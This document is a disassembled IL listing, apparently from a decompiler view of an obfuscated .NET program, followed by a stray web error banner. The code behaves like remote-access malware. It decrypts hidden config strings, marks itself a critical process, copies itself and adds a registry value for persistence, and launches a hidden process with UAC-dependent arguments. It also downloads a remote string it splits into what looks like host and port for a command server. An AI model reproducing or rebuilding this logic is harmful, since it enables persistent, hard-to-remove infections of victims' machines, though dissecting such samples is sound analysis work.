newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4 18
br IL_05EE: stloc V_17
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Join()
ldc.i4 19
stloc V_17
br IL_05F2: ldloc V_17
call System.Void Internal.“Š‘ŒŒ‘Ž‰’Š’Ž“‰‡ˆ“Š‡Š‡”“Œ•””’‹•::CriticalProcess_Enable()
ldc.i4 0
br IL_05EE: stloc V_17
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldc.i4 9
stloc V_17
ldc.i4.0 <null>
brfalse IL_05F2: ldloc V_17
ldloc.0 <null>
ldc.i4.1 <null>
newarr System.Char
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_13
callvirt System.String[] System.String::Split(System.Char[])
ldc.i4.1 <null>
ldelem.ref <null>
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::Ž“‰Ž”ˆ‘‡‡Š““‡•‹ŠŽŠŽ‘‘‰Ž‰“ˆŒ’‡†‘
ldc.i4 4
br IL_05EE: stloc V_17
ldc.i4 0
call System.Boolean Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::m8I10DkWM(System.Int32)
brfalse IL_06BB: ret
ldc.i4 17
br IL_05F6: switch(IL_0054,IL_067B,IL_0475,IL_0070,IL_05DF,IL_0461,IL_0475,IL_00A8,IL_00CF,IL_0447,IL_00E8,IL_0694,IL_0044,IL_0093,IL_0413,IL_0437,IL_0084,IL_0011,IL_065A,IL_06BB)
ldloc.1 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_5
ldc.i4 1
stloc V_15
br IL_0185: ldloc V_15
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 2
stloc V_15
br IL_0185: ldloc V_15
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue IL_016C: ldloc.1
ldc.i4 5
br IL_0189: switch(IL_016C,IL_011D,IL_0138,IL_01DA,IL_01E2,IL_0151,IL_01DA,IL_0108,IL_01F2)
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4 8
stloc V_15
ldc.i4.1 <null>
brtrue IL_0185: ldloc V_15
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldc.i4 0
stloc V_15
br IL_0185: ldloc V_15
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_0138: ldc.i4 1000
br IL_01B2: call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
ldc.i4 1
stloc V_15
ldloc V_15
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brfalse IL_01E7: pop
pop <null>
ldc.i4 6
stloc V_15
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
brtrue IL_01DA: ldloc.1
br IL_0185: ldloc V_15
ldloc.1 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
br IL_0108: ldloc.s V_6
pop <null>
ldc.i4 7
br IL_0181: stloc V_15
ldloc.1 <null>
ldsfld System.Object Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::Œ‰‘‰ŠŒ‡’‘‹†Œ‰ˆŒŠŽ‘’‰•ˆ‘‰•“†‹†‹
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave IL_0219: ldc.i4 48
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0219: ldc.i4 48
ldc.i4 48
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
brtrue IL_0373: pop
pop <null>
ldc.i4 3
br IL_02A9: switch(IL_0366,IL_036E,IL_037E,IL_0366,IL_0244,IL_02DD,IL_033F,IL_039A)
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4 52
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
ldc.i4.1 <null>
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_12
ldc.i4.2 <null>
ldc.i4 56
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
ldc.i4.3 <null>
ldloc.1 <null>
stelem.ref <null>
ldloc.s V_12
ldc.i4.4 <null>
ldc.i4 60
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br IL_02DD: br IL_037E
ldc.i4 3
stloc V_16
ldloc V_16
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 5
stloc V_16
ldc.i4.1 <null>
brtrue IL_02A5: ldloc V_16
br IL_037E: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4 64
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
ldc.i4.1 <null>
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_12
ldc.i4.2 <null>
ldc.i4 56
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
ldc.i4.3 <null>
ldloc.1 <null>
stelem.ref <null>
ldloc.s V_12
ldc.i4.4 <null>
ldc.i4 60
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldc.i4 2
br IL_02A1: stloc V_16
call System.String Internal.“Š“ŠŽ‹†“‰ˆ”’’ŠŒ’“•ˆ’‡‡”Œ“••ŠŠ†::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse IL_02E2: ldloc.s V_9
ldc.i4 4
stloc V_16
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
brtrue IL_0244: ldloc.s V_9
br IL_02A5: ldloc V_16
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
br IL_033F: call System.String Internal.“Š“ŠŽ‹†“‰ˆ”’’ŠŒ’“•ˆ’‡‡”Œ“••ŠŠ†::UAC()
pop <null>
ldc.i4 6
br IL_02A9: switch(IL_0366,IL_036E,IL_037E,IL_0366,IL_0244,IL_02DD,IL_033F,IL_039A)
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_8
ldc.i4 7
stloc V_16
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brtrue IL_02A5: ldloc V_16
ldloc.s V_8
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave IL_03B8: call Internal.••††‰Ž‘”‹‰‡‹“Ž‘Š•’Œ’“‰’•”’‡”Ž Internal.’“‡ˆ”’“Š††Š’”Š•†‰†ˆ‰•††‡‡†Œ‘::get_Computer()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_03B8: call Internal.••††‰Ž‘”‹‰‡‹“Ž‘Š•’Œ’“‰’•”’‡”Ž Internal.’“‡ˆ”’“Š††Š’”Š•†‰†ˆ‰•††‡‡†Œ‘::get_Computer()
call Internal.••††‰Ž‘”‹‰‡‹“Ž‘Š•’Œ’“‰’•”’‡”Ž Internal.’“‡ˆ”’“Š††Š’”Š•†‰†ˆ‰•††‡‡†Œ‘::get_Computer()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldc.i4 68
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.1 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave IL_03FE: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_11
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_03FE: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
call System.String Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::DownloadStr(System.String)
stloc.0 <null>
ldc.i4 11
br IL_05F6: switch(IL_0054,IL_067B,IL_0475,IL_0070,IL_05DF,IL_0461,IL_0475,IL_00A8,IL_00CF,IL_0447,IL_00E8,IL_0694,IL_0044,IL_0093,IL_0413,IL_0437,IL_0084,IL_0011,IL_065A,IL_06BB)
ldnull <null>
ldftn System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 1
stloc V_17
br IL_05F2: ldloc V_17
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 3
br IL_05EE: stloc V_17
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::‰ˆ‘‹’Š‘†’‹”Œ•““‰•‰‹”Š””’”‡Ž
ldc.i4 44
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.1 <null>
br IL_00E8: ldloc.1
pop <null>
ldc.i4 10
stloc V_17
br IL_05F2: ldloc V_17
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽŽŒ•‘’ˆ’ŽŒ“ŠŒ“Š’‰”Š”‰‹’’‡
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽŽŒ•‘’ˆ’ŽŒ“ŠŒ“Š’‰”Š”‰‹’’‡
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
brtrue IL_04C5: pop
pop <null>
ldc.i4 2
stloc V_14
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brtrue IL_0562: ldloc V_14
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::“‡‘Ž‹•‘’‡Ž‡•‘†’”†ŒŒ‡”‘‹Š”•”Ž“
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::“‡‘Ž‹•‘’‡Ž‡•‘†’”†ŒŒ‡”‘‹Š”•”Ž“
br IL_04FB: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽˆŠ‰•‡‹ˆ“‹‰ŽŠ‘‹’‰’Ž•”ŠŽ”’‘’Š†‡“’
pop <null>
ldc.i4 4
stloc V_14
br IL_0562: ldloc V_14
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::‰ˆ‘‹’Š‘†’‹”Œ•““‰•‰‹”Š””’”‡Ž
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::‰ˆ‘‹’Š‘†’‹”Œ•““‰•‰‹”Š””’”‡Ž
ldc.i4 7
stloc V_14
br IL_0562: ldloc V_14
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽˆŠ‰•‡‹ˆ“‹‰ŽŠ‘‹’‰’Ž•”ŠŽ”’‘’Š†‡“’
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽˆŠ‰•‡‹ˆ“‹‰ŽŠ‘‹’‰’Ž•”ŠŽ”’‘’Š†‡“’
ldc.i4 6
stloc V_14
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brtrue IL_0562: ldloc V_14
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
ldc.i4 5
br IL_0566: switch(IL_04AC,IL_04C0,IL_04AC,IL_0522,IL_04FB,IL_04D4,IL_0540,IL_0595)
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::†‹‰’’‰Š’†Œ•‹Š“†“‡Œ’‡“Šˆ’‘’“ˆ†
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::†‹‰’’‰Š’†Œ•‹Š“†“‡Œ’‡“Šˆ’‘’“ˆ†
br IL_0522: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
ldc.i4 2
stloc V_14
ldloc V_14
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 3
br IL_0566: switch(IL_04AC,IL_04C0,IL_04AC,IL_0522,IL_04FB,IL_04D4,IL_0540,IL_0595)
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
leave IL_05C6: call System.Boolean Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_05C6: call System.Boolean Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::CreateMutex()
call System.Boolean Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::CreateMutex()
brtrue IL_0447: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::‰ˆ‘‹’Š‘†’‹”Œ•““‰•‰‹”Š””’”‡Ž
ldc.i4 13
stloc V_17
ldc.i4.1 <null>
brtrue IL_05F2: ldloc V_17
call System.Void Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::PreventSleep()
br IL_0413: ldnull
ldc.i4 8
stloc V_17
ldloc V_17
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 14
stloc V_17
ldc.i4.1 <null>
brtrue IL_05F2: ldloc V_17
ldnull <null>
ldftn System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.3 <null>
ldc.i4 12
stloc V_17
ldc.i4.0 <null>
brfalse IL_05F2: ldloc V_17
call System.String Internal.“Š“ŠŽ‹†“‰ˆ”’’ŠŒ’“•ˆ’‡‡”Œ“••ŠŠ†::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse IL_0054: ldnull
ldc.i4 16
br IL_05EE: stloc V_17
ldloc.0 <null>
ldc.i4.1 <null>
newarr System.Char
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_13
callvirt System.String[] System.String::Split(System.Char[])
ldc.i4.0 <null>
ldelem.ref <null>
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::’†Œˆ‰‘ˆŠ†‹‘‹‘‡ŽŒ‰•ŠŽŒ‡ˆŽ‹Š‡‘‹”
ldc.i4 7
br IL_05EE: stloc V_17
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙